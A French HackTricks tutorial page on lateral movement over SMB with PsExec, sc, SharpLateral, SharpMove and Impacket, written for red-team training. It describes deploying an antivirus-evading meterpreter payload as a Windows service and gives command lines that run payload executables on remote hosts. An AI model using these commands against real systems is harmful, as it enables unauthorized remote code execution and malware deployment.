PsExec/Winexec/ScExec/SMBExec
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Comment ils fonctionnent
Le processus est décrit dans les étapes ci-dessous, illustrant comment les binaires de service sont manipulés pour réaliser une exécution à distance sur une machine cible via SMB :
- La copie d'un binaire de service sur le partage ADMIN$ via SMB est effectuée.
- La création d'un service sur la machine distante est réalisée en pointant vers le binaire.
- Le service est démarré à distance.
- À la sortie, le service est arrêté, et le binaire est supprimé.
Processus d'exécution manuelle de PsExec
En supposant qu'il y ait un payload exécutable (créé avec msfvenom et obfusqué à l'aide de Veil pour échapper à la détection antivirus), nommé 'met8888.exe', représentant un payload meterpreter reverse_http, les étapes suivantes sont suivies :
- Copie du binaire : L'exécutable est copié sur le partage ADMIN$ depuis une invite de commande, bien qu'il puisse être placé n'importe où sur le système de fichiers pour rester dissimulé.
- Au lieu de copier le binaire, il est également possible d'utiliser un binaire LOLBAS comme
powershell.exe
oucmd.exe
pour exécuter des commandes directement à partir des arguments. Par exemple,sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
- Création d'un service : En utilisant la commande Windows
sc
, qui permet de requêter, créer et supprimer des services Windows à distance, un service nommé "meterpreter" est créé pour pointer vers le binaire téléchargé. - Démarrage du service : La dernière étape consiste à démarrer le service, ce qui entraînera probablement une erreur de "délai d'attente" en raison du fait que le binaire n'est pas un véritable binaire de service et échoue à renvoyer le code de réponse attendu. Cette erreur est sans conséquence car l'objectif principal est l'exécution du binaire.
L'observation de l'auditeur Metasploit révélera que la session a été initiée avec succès.
En savoir plus sur la commande sc
.
Trouvez des étapes plus détaillées dans : https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
- Vous pouvez également utiliser le binaire PsExec.exe de Windows Sysinternals :
Ou y accéder via webddav :
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
- Vous pouvez également utiliser SharpLateral :
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
- Vous pouvez également utiliser SharpMove :
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
- Vous pouvez également utiliser Impacket's
psexec
etsmbexec.py
.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.